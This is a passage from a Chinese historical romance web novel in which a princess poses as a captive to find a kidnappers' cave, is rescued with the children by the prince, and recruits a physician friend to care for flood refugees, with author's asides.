“哎,陈嫂子。”封眠甜甜地叫了一声,又问她在山上做什么,家中有孩子没有,平日做猎户辛不辛苦……直将陈嫂子都问得头昏脑胀了,闭上嘴巴不大想理她。 封眠叽里咕噜问她一堆,也是在暗暗打探洞中的情形,即便陈嫂子要说谎骗她,谎话总是会掺着些真话带出来。 比如被问到孩子的时候,陈嫂子明显带上了些真情实感,与她抱怨孩子不听话,雨天爬山路还摔伤了退,幸好有个女大夫路过帮忙,否则孩子小命就要没了。 封眠猜测陈嫂子口中的“女大夫”就是那个嚼碎草药留下痕迹的人,应当也是被拐子拐来的。 说话间,两人终于上到了山头,出乎封眠意料的,陈嫂子竟带她往藤蔓遮掩的洞口的另一个方向走去,在视角盲区,竟还藏着一个入口! 看来这些人当真警惕,寻个藏身之地还要弄好几道出入口,时刻做着被追捕逃亡的准备。若是他们想法子堵住了藤蔓那头的洞口,他们还能从另一头离开。 到了近前,封眠停了停步子,故意显得有些害怕得四下张望,“陈嫂子,这里瞧着阴森森的,我害怕。” 临门一脚了,陈嫂子赶紧劝:“有嫂子在呢,你怕啥!” 就是你在才应该怕呢。 封眠心下腹诽,视线捕捉到不远处一株藤蔓被利器无声地斩落,便确认了百里浔舟就在附近跟着她,且有法子和她一起进去,当下放了心,才迈步随陈嫂子进了山洞。 视野先是暗了一瞬,鼻尖嗅到了些潮湿的腐气和淡淡的血腥气,接着便看见了嵌在壁缝里的松明火把。 火把微微照亮了蜿蜒的洞穴,依稀可见石地上铺开的几张草席。 不等封眠看见更多,左侧传来一道孩童的惊叫:“小心!” 封眠闻声回头,一个男人自陈嫂子身后闪出,手上铁链直直向她捆来。她下意识后退,陈嫂子却一迈步挡在她身后,撕去了温和的假面,阴阴笑道:“妹子,别挣扎了,束手……” 封眠两手一抬,放弃抵抗,“我投降。” 陈大正准备脱口而出的威胁狠话一下子噎在了口中,手上动作也顿了一瞬,显然没想到她认清现实的速度竟这么快,一时茫然地与陈嫂子对视了一眼。 陈嫂子瞪他一眼,“愣着干啥,绑上啊!” 封眠就这么被绑了手脚,塞进了土牢里。 陈嫂子还很是稀奇:“你倒是识时务。” 封眠瑟缩着低下头,全然是一副怕的没了主意的模样,“我、我不想挨打……” “乖乖听话是最好的,不受罪。晚晌嫂子给你拿些好吃的来。” 她顺利干完了这一单,欢欢喜喜地哼着小曲儿走了。 待脚步声消失在山洞拐角,封眠松了口气,转身去看身后被关着的那群孩子们。 十来个孩子鹌鹑似的缩在阴暗的角落里,怯生生地盯着她。他们五官都笼在重重阴影之下,封眠分辨不出,只得试探着喊了一声 :“阿央?” “郡主姐姐,真的是你?”最里侧的角落,阿央撑着土壁站了起来,一瘸一拐地往封眠的方向走。 “你腿怎么了?”封眠见状想上前,却忘了自己的两脚也被绑住了,挣扎了一下又摔倒在地。 “我没事,他们绑我的时候,我挣扎来着,就伤到了。”阿央赶紧把封眠搀扶着坐好,看见她狼狈的样子十分不敢置信,“你怎么也……哼,我就知道那帮人都是绣花枕头,中看不中用!” 他气呼呼地骂了百里浔舟等人一通,显然认定是他们没有保护好封眠,他回头看向人群中央,轻声问道:“阿雪姐姐,你能不能帮郡主姐姐看看,她受伤了。” “哪里来的郡主?”一道虚弱的声音响起。 娟秀的身影自被孩童们挡住的地方坐了起来,脸色苍白,满是病容,即便处在黑暗中,封眠还是一眼认了出来。 元寄雪?! 第44章 封眠和元寄雪看到彼此身陷贼窟,都万分惊讶。 封眠忙避开孩子们,悄悄与元寄雪耳语,告诉她百里浔舟也在此处,外面都是他们的人,待百里浔舟摸清楚此间情况,就会来救他们。 之所以避开孩子们,也是不确定这群孩子们会不会发出欢呼,惹来拐子的警惕。 事以密成,封眠想着还是要谨慎些为好。 元寄雪一直悬着的心终于稍稍落回了肚子里,紧绷的神经松了下来,苍白的唇瓣牵起一道极浅的笑意,“幸好你们来了,你们是怎么找到这里的?” 封眠便将剿匪的乌龙事略略说了,“若不是因为阿央不见了,恐怕我们也没这么快能发现拐子就藏身在这座山上。” 末了,她又问道:“哦对了,我们是追着一些被嚼碎的草药的踪迹过来的,可是你留下的?” 见着元寄雪点了点头,封眠那句“你怎会落至此地”在舌尖滚了几滚,终是迟疑着未能出口。 元寄雪却似看穿她心中所想,唇边那抹笑意染上些苦涩与自嘲,主动低声道:“我离开云中郡时,元家派了人追我。” 封眠不知这里头还有这么一出,当即皱起了眉,忿然道:“他们难道还想抓你回去嫁人?” “刘员外给的彩礼,可是货真价实的几箱金子,他们哪里舍得送还?”元寄雪冷冷道,“我好不容易逃出来,怎么肯再回那虎狼窝里去?我宁愿跳崖,也不会回去。” 她顿了顿,仿佛回忆起那日的绝路,“或许老天怜我,落崖后我没死,只是受了些伤,偏巧遇上了这些拐子……” 她的声音低下去,有些疲惫,“幸而我会些医术,他们的头目又受了伤,需要大夫照料,便一直带着我。” 这些孩子们受伤生病,也皆是元寄雪劝说头目“健康的孩子才能卖上好价钱”,才有了被诊治活命的机会。 头目允她四处摘些草药救人,也因此让她有了留下线索的机会。 “幸好有你!”封眠望着元寄雪,眼底是毫无作伪的、纯粹的敬佩,“若非你留下的线索,要找到此处,还不知道要费多少时日,有多少变故。” 元寄雪怔了怔,微微垂下眼,眸中复杂的情绪翻涌着。 再相见时,郡主的反应与她料想的全然不同,她本以为,就算郡主再如何宽和,也会因她下药一事而鄙薄冷眼,可她却好似全然忘了这回事一般,只字未提便罢,怎还能真心地称赞于她? 往日在家中,便是她什么都从未做错,父兄与继母也只有打骂与数落。现下封眠的话让她心口发烫,更多却是无措的茫然。 封眠不知她心中所想,兀自理了理腕上沉重的锁链,侧耳向土牢外倾听,依旧是一片死寂。 她心下有些等不及了,轻声自语:“怎么还没动静?” 话音未落,一声沉闷的轰鸣忽然响起,脚下地面微颤,洞顶土石簌簌落下碎尘。 “退后!趴下!” 封眠立刻意识到是百里浔舟开始炸开洞口,迅速指挥孩子们聚到一处,“都护住头!” 有碎石砸落,她几乎是本能地张开双臂,将离她最近的几个孩子猛地揽入怀中,用自己单薄的脊背作为屏障,顶住了雨点般砸落的碎石。 她感受到怀中孩子们因极度恐惧而剧烈的颤抖,余光瞥见元寄雪和阿央同样扑过来护住其他孩子的身影。 虽是知道百里浔舟既然开始炸开洞口,便是确保了山洞不会塌陷,砸落的石块不会伤人,但她心下还是有些懊恼自己思虑不足,她应早些让孩子们注意自卫的。 待烟尘稍散,众人惶惶然抬首,在呛咳声和胆小的孩子的呜咽声中,夹杂着一道骂骂咧咧的声音。 “*的,敢里应外合骗老子!想救人,老子先把你们全都杀了!” 头破血流的陈大提着砍刀气势汹汹地冲过来,他状若疯魔,充血的双目野兽般满是凶戾和杀意,带着同归于尽的疯狂。 他根本不管外面已经响起的激烈打斗声,手中砍刀“砰”地砍断了简易土牢的木栏。 “啊——!”孩子们吓得惊声尖叫起来。 封眠和元寄雪还有阿央毫不犹豫地挺身挡在最前面。 封眠脸色苍白如纸,扬声安抚着身后的孩子们,“别怕,有人来救我们了!他伤害不了我们!” 孩子们仿佛孱弱的幼崽一般瑟缩在她的羽翼之后 “就是你这个贱人!”陈大仇恨的目光死死锁在封眠身上。 方才一有敌袭,老大就反应过来他们上套了,一脚便将陈大踹飞了出去,咬牙要与他秋后算账,然后便带着弟兄们冲出去迎敌。 陈大这才意识到自己和媳妇儿绑进来的那姑娘有问题,当即不管不顾地冲了回来。 便是死,他也要先拉几个垫背的! 雪亮的刀锋在眼前划过一道刺目的光,封眠瞳孔骤缩,下意识闭目,高举缚手的锁链抵挡,刀刃砍在铁链上发出刺耳的滋啦声响。 下一瞬一声惨叫,封眠只觉腕上一轻,腰间猛地一紧,被一股不容抗拒的力道向后一带,跌入一个温暖的怀抱。 硝烟和尘土混着一种熟悉的清冽气息,瞬间将她包裹。 她惊魂未定地猛地睁开眼,入目便是百里浔舟线条流畅的下颌。他薄唇紧抿成一道冰冷的直线,下颌处沾着一点飞溅的血迹和尘土,更添几分凌厉的煞气。 百里浔舟一脚踹飞了陈大,眼含惊忧地看向怀中的封眠,急切地将从头到脚扫视一番,见她无恙,紧蹙的眉头才极其细微地松动了一丝,一直悬在胸口的心放了下来。 “在这待着。”他半推半抱地将她轻轻摆到墙边,方才再次如离弦之箭般冲了出去。 土牢外的厮杀声并未坚持多久便停歇了。 这些拐子不过是仗着地利藏匿的一窝蛇鼠,远不是疾羽营和鸾仪卫的对手,硬撑了片刻,便只余哀哀求饶声。 当百里浔舟带着一身未散的煞气和淡淡的血腥味再次踏入土牢时,洞内弥漫的烟尘几乎已经散尽了。 外头被炸开的洞口处的碎石尽数坍塌,天光从豁口处艰难地透进来,照亮了满室狼藉和一张张劫后余生、惊魂未定的稚嫩脸庞。 百里浔舟招了招手示意身后众人跟进来,“将人带出去好生安置。” 接着他一眼余光也未分给旁人,大步流星地走到了封眠面前。他高大的身影在她面前投下一片阴影,二话不说,单膝点地蹲了下来,掏出一把钥匙,一手捧起封眠的手镣,动作利落而轻柔地为她解开锁链。 满室皆是丁零当啷解开锁链的声音,封眠却不知为何仿佛只能听到眼前的动静,锁戳进锁芯时的动静,旋开时轻微的咔哒声,微微屏住的呼吸声,和缓慢跳动的心跳声。 卸下手镣,便见腕间柔嫩的皮肤已被磨破了 皮,留下了一道血痕,百里浔舟本就未解开的眉心蹙得愈发紧了。 封眠被盯得颇有压力,总觉得再不说定什么便有火山要爆发了,忙张口解释道:“我这皮肤养得太娇嫩,摁一下就红了,这样子也就瞧着吓人,其实我没什么感觉的。” 百里浔舟掀起眼皮凉凉地看她一眼,封眠下意识便噤了声,抿紧了唇一个字都不敢再说。 百里浔舟心下有些烦躁,迅速将脚镣也解了,视线没敢在脚腕上多留一瞬。手腕只戴了片刻的镣铐便磨成了这副样子,早就开始行动不便的一双脚又会是什么样的惨状? 他惦记着此处环境污糟糟的,当下不由分说地将手臂穿过她的腿弯和后背,将人打横抱起。 封眠下意识地攀住他坚实的肩颈,指尖能感受到衣料下灼热的体温和紧绷的肌理。 她刚想开口,百里浔舟已抱着她,迈开大步急急往外走。 得快些回去马车上,将脚伤处理一下。 自始至终都没有发现安静地隐在人群中的元寄雪的身影。元寄雪默默望着他火急火燎离开的背影,心口仍是没忍住闷了一瞬。 自情窦初开之际便执着抓住的那一抹温暖,她终究从来没有抓在手心过。 “郡主!” 见封眠被百里浔舟抱了出来,流萤和雾柳吓了一跳,急忙冲上前。 “来人,送她们回营地。”百里浔舟叫来两个人,又嘱咐流萤两人,“快些弄盆干净的温水等着!” 两名疾羽营将士带上流萤和雾柳疾驰而去。 百里浔舟将封眠托到马上,翻身坐到她身后,将她牢牢护在怀中,“忍着些。” 他轻轻叮咛一句,扬手将披风卷到她身上,遮住迎面的风,便立即策马往营地赶去。 担心颠簸的晃动让她不适,百里浔舟抱着封眠的手臂收得更紧了些,让她能更稳地贴靠在他胸前。 封眠觉得只过了瞬息,人便已被稳妥地安置到了铺着厚厚软垫的车厢内。 封眠跌入一片柔软的包围,车内的暖意和熟悉的熏香气息让她紧绷的神经终于松懈,随之而来的是更强烈的疲惫感和脚上尖锐的疼痛。 她忍不住轻轻蜷缩了一下身体。 百里浔舟一言不发地接过流萤递来的温水,弯腰钻入马车。 被挡在外头的流萤刚想说她来照料郡主,便被雾柳拽了拽袖子,摇头制止。 马车内,百里浔舟沉着脸,将水盆重重放在小几上。水波晃动,映出他冷峻的倒影。 他看也不看封眠,只是粗暴地挽起衣袖,露出一截线条流畅、肌理分明的小臂,然后半跪在车厢地板上。 那双骨节分明、握惯了杀人兵刃的手,径直伸向封眠沾满泥污的裙摆,下同样满是污泥的鞋,动作轻得近乎笨拙地替她脱鞋。 “嘶……” 许是碰到了伤处,封眠疼得倒抽一口冷气,下意识地想缩回脚。 “别动!”百里浔舟低喝一声,语气硬邦邦的,手上的动作却不由自主地顿住,变得更为小心翼翼。 接着便是呼吸一窒。 暴露在眼前的纤细脚踝伤痕累累,脚上更是惨不忍睹,擦伤遍布,被磨出的血泡早已破裂,边缘红肿,渗着血水。 百里浔舟几乎咬碎后槽牙。一股难以言喻的、混杂着愤怒、心疼和自责的剧烈情绪在心中翻滚冲撞。 这般娇气的,一阵风便能吹倒的人,怎偏生胆比天还大!放着好好的王府不待,非要来淌浑水! 更多却是自责与懊恼,她说什么相信他,可他还不是让她将自己弄成了这幅鬼样子,什么也做不了! 封眠不大自在地蜷了蜷脚趾,试图将脚缩回裙摆下,“那个,让流萤她们帮我处理就行了,不麻烦你……” 百里浔舟正准备去拿干净布巾的手一顿—— 作者有话说:百里浔舟:[爆哭]我是不是被嫌弃了 第45章 山风静谧,一片兵荒马乱之后,解救的人与抓捕的犯人各自归置好,只等着略作休憩,便启程回云中郡了。 姚知远拿着登记好的名册,随手拦了一个士卒,问:“世子呢?” 士卒抬手一指,“那头呢,站好一会儿了。” 姚知远顺着士卒手指的方向一瞧,百里浔舟跟个门神一样杵在郡主马车外头呢。 他点点头正要走,那士卒忽然犹犹豫豫地开口:“姚大人,您说,世子殿下是不是又惹郡主不高兴了,才被罚面壁?” 姚知远:“……你觉得世子能这么乖乖被罚?” 士卒挠了挠头,傻笑两声,“没被罚就行,我们还说呢,若是郡主和世子吵起来,还真不知道帮哪个才好……” 姚知远大惊,这还用犹豫吗?疾羽营的兵都是怎么训的? “自然是帮着郡主。”他肃容道,“郡主在云中郡无依无靠,身子骨柔弱,性子又好,与世子吵起来,怎么想都是世子的错。” “况且郡主待你我不薄,我等再站在世子那边,可就是白眼狼了。” 士卒心中疑虑迎刃而解,敬服地向姚知远一抱拳,“属下明白了!” 明白就好。 姚知远颔首离开,挥一挥衣袖,深藏功与名。 “殿下。”姚知远行到百里浔舟身后,轻唤了一声,百里浔舟才回过神来。 他将手中名册递上,“犯人和受害者名单皆在此处。这群人骨头挺硬,什么也不肯说。” “不急,先带回去,慢慢审。”百里浔舟略扫了扫名册,交还姚知远,嘱咐道:“那些孩子们受了惊,回去寻医师好好调养,问清楚家在何处,做好记录后,便好生送回去吧。” “是。”姚知远点头应了,提醒道:“元姑娘也在受害者一列,她帮着瞧过了,孩子们都没什么大事。倒是她自己病得不轻。” 百里浔舟这才知道元寄雪竟然也在此处,他只略愣了一下,便点了点头示意自己知晓了,“需要什么你安排就是了,她要回元府还是离开,都随意。” 说着话,百里浔舟的视线又往马车上溜,第一个冒出来的想法便是要不要请元寄雪来给郡主瞧瞧,转念又想元寄雪也病了,不好再劳动她,更加怕过了病气给郡主,雪上加霜。 “殿下在此处干站着做甚?担心的话就进去瞧瞧郡主。”姚知远不懂就问,便听百里浔舟的声音都低了两度。 “她将我赶出来了,不让我帮忙。”那语气莫名的茫然委屈。 百里浔舟说着看向姚知远,桀骜的少年将军眼底盛满了迷惘,“她千里迢迢追来,受了伤,我替她瞧伤,她不应当……” 他张了张嘴,竭力思索着用词,“羞涩,半推半就,暗暗欣喜……” 姚知远做了个“停”的手势,止住百里浔舟的话头,总算明白他这副情状是为何了,颇有些无言以对。 “世子还觉得是郡主对您动心了?” 百里浔舟抿了抿唇没说话,但看神色,他就是这么觉得的。 姚知远觉得自己身为军师,有必要戳破主子不切实际的幻想,直言道,“属下不这么觉得。” 他倒觉得心动的另有其人。 百里浔舟斜眼睨他,“你又不是我,你当然觉不出什么。” 被送香包的是他,被追着跑的是他,被说信任的也是他,他就是这么觉得。 “……罢了。”姚知远很是见识过世子殿下的执拗,懒得与他掰扯,直接问道:“世子殿下又是如何想的?不打算与郡主和离了?” 那待回了云中郡,他可得去瓦舍一趟,重投赌局。 百里浔舟是如何想的呢?他在马车外站了半晌,也没想得太明白。 他只是想着,她待他的心意这般赤忱,他就算回应不了同样的心意,也应待她好一些。否则岂不是伤人? “人心易变,她这心思说不定来得快去得也快,到时定还是要和离的。” 姚知远看着自家这位糊涂殿下,心下大叹,竟有人于风月一道上如此不开窍,不对,不是不开窍,而是开错了窍啊。 身为军师,他应责无旁贷地点醒殿下,但想到自己已说过多次,次次都被殿下驳了回来,便觉得还不如让他撞一撞南墙,撞得多了,说不定就开窍了。 授人以鱼,不如授人以渔。这才是一名好军师应当做的,遂道:“可殿下您如今这般举止,很难不让人误会啊……” “若是剃头担子一头热,说不得很快便凉了。要是另一头也跟着热起来,这担子怕是就要着了。” 被姚知远这么一说,百里浔舟愣了一下,才觉得自己近日举止好像是有不妥,他看姚知远地眼神清澈得像个太学生,“难得听你说了句有道理的。” 姚知远:“……” 好好好,平日里认真出谋划策的话都没道理,胡乱给他捣乱说的话就有道理了? 这军师真是没法当了。 百里浔舟觉得自己现在应该走开,但转身时脚底像被粘住了一般迈不开步子,终是背手敲了敲车驾,硬是冷着嗓音问道:“郡主可好了?” 里头传来封眠略有些虚弱的声音:“好了,多谢世子关心。” 百里浔舟的手在手在车帘处悬了片刻,终是没有撩开来看一眼,放下手道:“既无事,那便准备出发吧。” “殿下!” 他正要走开,便见不远处村长颠颠地跑了过来。他立时停了脚步,等在原地。 村长跑到近前,先向几人行过礼,才揣着手,期期艾艾地开口:“我、我们能不能……能不能同两位殿下一起、一起回……” 他灰白的眉毛垂着,显然顶着一番压力,为了全村上下老弱妇孺的性命,他便是不要这张脸皮了,也得求着两位殿下相助。 否则过了这村,他当真不知去何处还能再碰上有权有势又有善心地话事人了。他们说不得便要被困在这山里一辈子。 “我们不进城也行的!只要能有条活路,让我们做牛做马都行!” “您老人家不必如此。”马车车窗被推开,封眠苍白的小脸探了出来,她两只脚刚被裹好,不便下马车,便只能这般与人交谈了。 “世子殿下爱民如子,岂会对你们的苦处置之不理。只是不知,如你们这般遭了灾的村落还有多少?他们又都往何处去了” 村长面上刚带出一点喜意,听闻封眠问起其他遭难的百姓,心情难免又沉了下去,长叹口气道:“整个从黑水沟往东,半个白水县都遭了灾!” “县令说粮食不够,管不了我们……”村长的声音沙哑疲惫,“有些乡亲熬不住,说南方富庶,粮食多,便往南方去了。我们、我们舍不得祖辈留下的根,日后还想着能回家去,就一路往西……” “可这一路上的乡镇城池,没有一处肯放我们进……” 村长脸上道道皱纹便如同干涸土地上龟裂的缝隙,伴着他的诉说,更深了几许。 “但这也不能怨他们,咱们这儿良田本就不多,家家户户都勒紧了裤腰带过日子,谁不想先顾着自家的老小?” 村长浑浊的眼中泛起一层水光,却又很快被布满老茧的手背抹去。 “能遇着两位殿下,已是我们命好了!” 封眠看着村长佝偻的脊背,抬眼又望见远处树下倚靠在一处的村民们,他们瘦弱疲惫的身影嵌在暮色中,显得那么渺小却又那么坚韧。 她令人心下发酸,飞快眨去眼底浮起的泪意。 “赈济灾民,本就是朝廷应当做的。您老且安心,待此事上达天听,陛下定会拨款赈灾,助大家渡过此难关。”封眠给村长喂了一颗定心丸,村长顿时千恩万谢起来。 “郡主大恩,小老儿代全村人叩谢……”他说着便要跪下。 “哎,不必如此。”封眠抬手虚扶。 百里浔舟眼疾手快地顺势托住了村长的手,将他扶起来,“郡主为百姓解忧,不图你这一跪,免了吧。” 村长红着眼站好了,正打算去将好消息告诉村民们,便又听封眠问道:“你们先前劫下的那名富商,可知其身份?” 百里浔舟闻言挑了挑眉,他还当封眠心思柔软,早已将此事揭过了,没想到她竟再次提起。 村长僵在原地,像是被雷劈中一般,半晌才结结巴巴道:“这、这……这事都是我的主意!还请郡主和世子殿下,只责罚我一人吧!” 他说着又想跪下,急得封眠直接指挥百里浔舟:“世子快扶住他!” 百里浔舟下意识便听令行动,又一次将村长扶起来,村长腰背绷得笔直,险些扭了筋。 “别怕,法理之外尚有人情。我并非要问罪什么人。”封眠语气和缓,听得人心下一定,“只是那富商行此一遭也是不易。愿意冒险来北疆做生意的人,也是自险中求富贵,殊为不易。” “可若教他以为北疆处处是行劫掠之事的刁民,日后怕是不敢再来了。商路一断,银钱不流,货物滞销,最终苦的还是北疆的百姓。” 村长听得连连点头,一脸愧色地拍大腿,“是这么个理!小民真是,哎呀,小民糊涂啊!” 虽然他们没伤人,只抢了些吃食用具,但抢了就是抢了,再如何开脱也是不应当的! 封眠语气又柔了三分,“你们劫道也是不得已之举,但那富商亦是无妄之灾,平白遭此横祸,总该给个交代才是。” “我会派人去寻他弥补一二,望他能够谅解,此事便也算揭过了。” 村长闻言,身子猛地一颤,深深作了一揖,“郡主大恩!我等日后得了生路,定会攒下银钱偿还!” 这次都无需封眠开口,她只瞧了一眼,百里浔舟便上前将村长扶了起来,“快去让大家准备上路吧,今晚早些赶回去。” “哎!”村长忙转身颠颠地跑走了。 百里浔舟还想转身和封眠说两句话,却听一旁姚知远咳了两声。他身形一僵,生生将转了一半的身子又扳了回去,作势便要迈步离开。 “世子等等。” 轻柔的嗓音从身后传来。 百里浔舟刻意顿了片刻,这才慢条斯理地转身,下颌微扬,故作疏淡道:“郡主有事?” 这可是她喊他,并非他上赶着搭话。 封眠瞧他这副模样,不由奇怪,方才还好端端的,怎的突然就端起了架子? “可否帮我请元姑娘来一趟?” “哦。”听她找自己说的是正事,他又有些不高兴了,薄唇抿成一道冷硬的线,硬邦邦地应了一声,转身便走。 背影散发着浓浓的郁气,衣袂翻飞,活像炸了毛的猫。 “谁惹着他了?”封眠望着他远去的背影,困惑地眨了眨眼。 姚知远心下直摇头,真想看看世子是如何开窍的。他假意清了清嗓子,“郡主不必介怀,我们世子向来如此。脾气如同六月天,说变就变。” 他可没在造谣,世子现下可不就是这样的脾气么?—— 作者有话说:姚知远:我真是个好军师[墨镜] 第46章 暮色微深之际,百里浔舟一行人踏着霞光下了山,赶一赶路,兴许能在午夜前抵达云中郡。 幸而封眠来时为了带物资,多带了几辆马车,才载得下回程时多出来的这许多人。众人挨挨挤挤地坐在马车里,虽是有些局促了,但没人有怨言,心中皆是难得的安定。 疲惫至极的人们在马车的辘辘声与轻微颠簸中,满怀期待地,头碰着头睡了过去。 再醒来时,他们便能抵达一处平安宁静的所在,再不必担惊受怕了。 最前头的马车里,暖黄的烛光摇晃着映出几道人影。 封眠的手搭在元寄雪的腿上,由她把着脉,有些不好意思地解释:“我寻你来并非是想请你替我把脉,你还病着呢……” 谁知这人一上马车就将她的手拽了过去,她连拒绝的时间都没有。 元寄雪闭目靠在车壁上,颊上淡无血色,苍白的唇浅浅开合着道:“我知道。医者本能,瞧见你这副样子,怎忍得住不管?” “我这病不影响把脉,郡主不必担忧。” 自己都病成这个样子了,还坚持不放过眼前任何一个病人,元寄雪当真是喜欢医术,更尊重医道。 一旁流萤和雾柳紧张兮兮地看着元寄雪把了好半天的脉,忍不住开口问询:“脉象如何?” 难道郡主只是瞧着没病,实则有内伤? 元寄雪过了两息才道:“没事,不用吃药,养一养外伤,补补血气,便好了。” 听她说话气短的模样,封眠便知她是有些气力不济,忙看了一眼流萤。 流萤早有准备,端了一盏参茶过来,眼巴巴地瞅她,“你能喝参茶吗?” 她只知参茶有补气提神之效,先一步备下了,却不知元寄雪现下能不能用。 雾柳:“若是不行,你需要什么,便与我们说。” 因着郡主身体不好,他们马车上也时常备着些补品草药,。 元寄雪点了点头,示意自己能喝。她刚想抬手接过茶盏,便见流萤直接将参茶捧到她嘴边,一副要喂她喝的模样。 打小从没让人喂过的元寄雪一时呆住了,尚未反应过来,便被流萤催促着,“元姑娘,你快喝呀,我试过温度了,不烫口的。” 她懵懵地张开嘴,流萤微微倾杯,参茶便缓缓流入了她的口中,一股暖流自喉间传向四肢百骸。 流萤喂得极其细致小心,一滴参茶也未洒出来。待元寄雪喝完一盏茶,流萤立即拿出素绢帕子替她拭了拭唇畔。 “元姑娘有什么事尽管吩咐我们做就是了,”流萤将空盏搁在案几上,絮絮道,“你是病人,切莫太劳动了。” 元寄雪本想说她早已习惯了,从小到大,她每每生病时都是独自一个人扛过去,煎药、吃药等等琐事也尽是自己打理。 那种滋味并不好受,所以她从来都尽力避免自己生病。平日里孤身一人都没什么,但病中的人实在脆弱,孤单感较平日百倍翻涌,她不喜欢那种感觉。 这还是第一次有人在她病时照顾她,让她什么事也别做。 元寄雪忽然觉得眼眶有些发热,不由轻轻对流萤弯唇笑了一下,“多谢。” “哎呀,举手之劳,当不得谢,当不得当不得……”流萤讪讪摆手。 再瞧见元寄雪时,往日心里那些暗戳戳的芥蒂早就飞到九霄云外去了,她只记着郡主和她一样,都觉得元寄雪是个好姑娘。 眼见一个好姑娘被家中逼成这副模样,她只觉得有些心疼。 “好啦,你们切莫再客气来客气去了,元姑娘病好之前,都让流萤照顾你,这“谢”字只说一次便够了。”封眠笑盈盈道。 流萤跟着点头,元寄雪面上却露出几分犹豫之色。 她只想随队到云中郡外,看着孩子们都平安抵达即可。她不想回到元家,还是要走的。 封眠看出她的犹豫,便将自己的正题提了出来,“我找你来,其实是想请你留在云中郡。” 元寄雪惊讶地抬眸看向封眠,十分不解:“留我?” 她顿了顿,仍是不能假装曾经发生过的事没有存在过,藏在袖间的手攥紧了衣袖,用力到骨节泛白,艰难开口道:“郡主难道这么快便忘了,我给世子殿下下药一事?” 时过多日,再提起此事她仍是有些难以启齿,尤其还当着不只一个人的面,简直像将脸皮撕下来丢在地上踩一般,但说出口后,她反倒觉得沉甸甸压在心口的巨石轻了一些。 “我自然没忘。” 听见封眠这般说,元寄雪心下愈发苦涩。 “但我知道,你也不过是想给自己搏一条路出来罢了。”封眠轻轻握住元寄雪微凉的手,“你明明是一个很骄傲的人。这些年你一定过得很辛苦,才会在这次绝望之时豁出去,铤而走险,用上你最不屑的手段。” 元寄雪苦涩地张了张唇,声音干哑:“想要嫁一个男人,来改变命运,在郡主眼中,一定觉得很可笑吧……” “我不觉得可笑。”封眠答得笃定,“你用尽了你所见的、所能用的全部手段,怎么能怪你呢?” 元寄雪眸光一颤,在眼中打转的泪珠忽地夺眶而出,在素色衣襟上洇开浅浅的痕迹。 轻得恍若没有任何重量的泪珠带走了她这些年说不出口的苦楚、羞惭与挣扎。风过无痕,衣上的水渍很快便会干涸,心上的也是。 “我希望此事能就此揭过,往后我们都不必再提。”封眠尖轻抬,素绢帕子拭过元寄雪微凉的面颊,“除了嫁人,你还有很多条路可以走。” 绢帕移开时,元寄雪对上封眠的眼睛,眼底没有怜悯,没有施舍,只有平等的郑重。 “我想请你留在云中郡,做一名女医官。古往今来,疫病往往与灾情相伴而生,北疆的大夫本就不多,医术精深者更是凤毛麟角。我想请你坐镇,看顾好此次的灾民们,防范疫病横生。” “我?”元寄雪下意识的反应便是推拒,“我不行的,我看过的病人极少,从未有过坐馆大夫的经验,医馆那些大夫最是瞧不起女子行医……” 封眠打断她喋喋不休的自我否定,目光如炬,直截了当地问道:“你想不想做?” 元寄雪顿住,沉默半晌,烛花"啪"地爆响,点亮她眼底闪烁着的渴望的微光,她轻轻点头说了一个字:“想。” “只要你想,只要我在,你就没什么不能做的。”封眠倏尔一笑,眼尾微扬,万分笃定道。 元寄雪只觉满身血液微烫,难以抑制的激动在她心底翻滚着。她下意识按住胸口,生怕那颗狂跳的心会跃出胸腔。她的唇角不受控制地扬起,在脸上带出一个深而轻快地笑意。 “不过……”她想到什么,忽地补充道:“我还有一个条件。” “莫说一个,便是一百个条件,也依你。”封眠狡黠地玩笑。 她的态度,让元寄雪心下多了几分底气,“我想与元氏彻底断亲。” “好,回去我便唤郡守来一趟,让他亲自为你办。”封眠应得果断,仿佛她说的不过是明日要吃什么这般寻常事。 四目相对间,两人不约而同地笑了起来。 过往种种皆随云散,往后,方是新生。 更深露重,云中郡的长街浸在月色里,静谧非常,唯有车轮碾过青石板的声响格外清晰。 载着封眠的马车拐向了王府,百里浔舟策马上前几步,护着缓缓停下的马车,屈指轻叩窗棂。 “郡主,到了。”他将声音放得轻缓,不过片刻便听见车内传来衣料摩挲的细响。 片刻后,流萤先掀帘跃下,转身小心翼翼搀扶元寄雪下了马车。 雾柳则扶着封眠慢吞吞地挪动到车辕处。 封眠先吩咐道:“流萤,你先将阿雪送去雪月居吧,煎好药看着她吃下再睡。” 百里浔舟本还想问要不要送元寄雪去别处住下,闻言一扬眉,目光在二人之间来回巡梭,这二人何时如此亲昵了? 封眠没注意到他,她两只脚都伤着,缠着细布,实在不大好下马车,干脆抬手唤一名鸾仪卫过来,“劳烦你……” 话音未落,眼前光线忽地一暗,一道身影挡在了她的面前。 封眠抬眸,瞧见百里浔舟不悦的侧颜。他一双薄唇紧抿着,拧眉垂眼看她眸色沉沉如墨,半晌才低低吐出两个字:“麻烦。” 未及反应,封眠只觉腰间一紧,整个人已被百里 浔舟打横抱起,落入带着温暖气息的怀抱。 见他这般别扭,封眠夜不大高兴了,挣扎着要下地,“我又没麻烦你,松手。” “别动。”他横在腰间和腿弯处的手紧了紧,将她往怀里带了带,“是本世子非要自找麻烦,好了?伤患要有伤患的自觉,老实一点吧。” 说罢,他抱着封眠大步流星朝府内走去。 封眠:“……” 姚知远说得不错,他这脾气真如六月的天一般。 百里浔舟一路将她送到寝殿,轻柔地将人搁到床榻上,转身吩咐跟进来的雾柳,“记得给郡主换药。” 然后便如一阵风一般卷走了,来去匆匆。 雾柳:“……诶,世子做什么去?还不歇下吗?” 封眠睁了睁泛起困意的双眼,道:“想必要去处置那些拐子吧。别管他了,快,我要洗漱一番再睡。” * 长靴踏碎庭院月色,另百里浔舟大步穿过庭院,轻衣如影子般静悄悄落在他身后三尺处。 “殿下,鱼咬钩了。”轻衣的声音压得极低,“那蠢货直奔梧桐巷去了,兄弟们已布下埋伏。” 百里浔舟唇角勾起一抹讥诮的弧度。他故意留了破绽,放走了拐子的头目,想看看他是否会想办法联络幕后微他撑腰的人,没想到对方竟一头往刀口上撞。 梧桐巷深处,一道蒙头遮面的鬼祟身影小心翼翼地沿着墙根摸到一户人家面前,停在一扇斑驳的木门前,指节叩出两长一短的暗号。 片刻后,门被吱呀打开一条缝,渗出昏黄的灯光,照亮一张油亮的胖脸,紧张兮兮地:“你来干什么?” “快放我进去躲躲,官兵抓到老子窝里去了!” 头目粗暴地撞开门往里挤。 